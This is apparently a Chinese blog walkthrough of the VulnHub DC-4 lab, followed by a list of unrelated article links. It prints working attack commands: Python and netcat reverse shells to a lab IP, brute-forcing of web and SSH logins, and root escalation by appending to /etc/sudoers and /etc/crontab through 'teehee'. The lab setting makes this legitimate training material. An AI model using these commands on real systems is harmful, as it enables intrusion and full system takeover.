vulnhub DC-4 walkthrough (含非预期)

实验

先做一个简单的信息收集

这是一个 admin:x 的登录入口,尝试 burp 爆破密码,字典使用 rockyou.txt

顺便扫一下目录

跑的时候久一点,会卡

拿到账号秘密 admin:happy

选择想使用的功能,点击 run,可以显示命令输出结果

尝试抓包修改命令

ls+-ls -> id

注:www-data 用户是 Linux 系统中专门为 Web 服务设计的用户,权限受严格控制。

既然能够命令执行,尝试反弹 shell

经过尝试,python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.130",1314));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'nc -e /bin/bash 192.168.110.130 1314等等都可以用的。

说明:

  • UID = 33 (www-data):表示该进程的实际用户(Real User ID)是 www-data。这意味着该进程属于 www-data 用户。
  • GID = 33 (www-data):表示该进程的实际组(Real Group ID)是 www-data 组。
  • EUID = 0 (root):表示该进程的有效用户(Effective User ID)是 root。有效用户 ID 决定了该进程在运行时实际拥有的权限。EUID 为 0 表示该进程具有 root 用户的权限。
  • Groups = 33 (www-data):表示该进程的所属组是 www-data。

    这是一个复现过程,结果发现这么个非预期解答。可能与python反弹 shell 的操作有关。现在来讲一下正常解。
    使用 nc -e /bin/bash 192.168.110.130 1314 反弹 shell

    只有 jim 文件里有东西,仔细查看

    jim 文件下的 old-passwords.bak 存储着久密码集,尝试爆破一些他的 ssh 账号。


    拿到 jim:jibril04

    提示有一封邮件,全局搜索 mail
    find / -d -name '*mail*' 2>/dev/null


    拿到另一组账号密码 Charles:^xHhA&hvim0y

    可特权使用 teehee
    查看使用帮助

    法一
    向 /etc/passwd 添加特权用户 或者 修改 /etc/sudoers
    echo 'ALL ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
    修改 /etc/sudoers 文件,以允许所有用户无需密码即可执行所有命令

说明

sudo 是"superuser do"的缩写,它允许授权用户以超级用户(root)或其他用户的身份运行命令。

使用 sudo 时,系统会要求输入当前用户的密码(而不是 root 的密码),前提是该用户已经被授权使用 sudo(通常在 /etc/sudoers 文件中配置)。

su 是"switch user"的缩写,用于切换到另一个用户的身份。默认情况下,不带任何参数的 su 命令会切换到 root 用户。

使用 su 时,系统会要求输入目标用户的密码(例如,切换到 root 时需要输入 root 的密码)。

sudo su 的作用

切换到 root 用户:

sudo su 的组合命令允许当前用户(必须是 sudo 授权用户)以 root 用户的身份打开一个新的终端会话。

这个命令的执行过程如下:

sudo 以超级用户权限运行 su 命令。

su 命令切换到 root 用户,并打开一个新的 root 终端会话。

不需要输入 root 密码:

如果你直接使用 su 命令切换到 root 用户,系统会要求输入 root 的密码。但使用 sudo su 时,系统会要求输入当前用户的密码(前提是该用户已被授权使用 sudo),而不需要输入 root 的密码。

法二:修改计划任务
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab
/bin/sh

说明

计划任务格式

分钟 小时 日期 月份 星期 user command

上面命令代表 root 每分钟执行一次 chmod 4777 /bin/sh

4 代表 suid 位,表示以所有者权限执行,而 7 代表 读写执行(r,w,x)所有权限

总结

  • 扫描主机 ip,端口和服务版本信息。
  • burp 爆破 admin 密码并成功登录。
  • 利用网页命令执行功能抓包修改命令反弹 shell 成功。
  • 利用 jim 旧密码集爆破 jim ssh 密码,成功登录。
  • 根据提示查看邮件,成功切换到 charles
  • 利用 charles 特权命令 teehee 修改计划任务或修改 sudoers 提权成功。
相关推荐
bug道一17 分钟前
路由 下一跳 网关 两个不同网段的ip如何通过路由器互通
网络
1892280486120 分钟前
NW622NW623美光固态闪存NW624NW635
大数据·网络·数据库·人工智能·microsoft·性能优化
轻松Ai享生活27 分钟前
一文搞懂应用程序 core dump 和内核 core dump
linux
云飞云共享云桌面31 分钟前
1台电脑10个画图设计用怎么实现
linux·运维·服务器·网络·数据库·自动化·电脑
小MarkK33 分钟前
[Ubuntu][mount]ubuntu电脑挂载新硬盘
linux·ubuntu·电脑·mount·硬盘挂载
心 一41 分钟前
Web安全基石:深入理解与防御越权问题
网络·安全·web安全
艾莉丝努力练剑1 小时前
【Linux】初始Linux:从计算机历史发展、操作系统历史脉络的角度详谈Linux相关的话题,附Linux安装和用户创建(环境准备)详解
linux·运维·服务器·经验分享
kaixin_啊啊1 小时前
openEuler系统远程管理方案:cpolar实现安全高效运维
运维·安全
l1t1 小时前
how to build tbox xml into the demo
xml·linux·c语言·parser·tbox
努力学习的小廉1 小时前
深入了解linux系统—— 线程池
linux·运维·服务器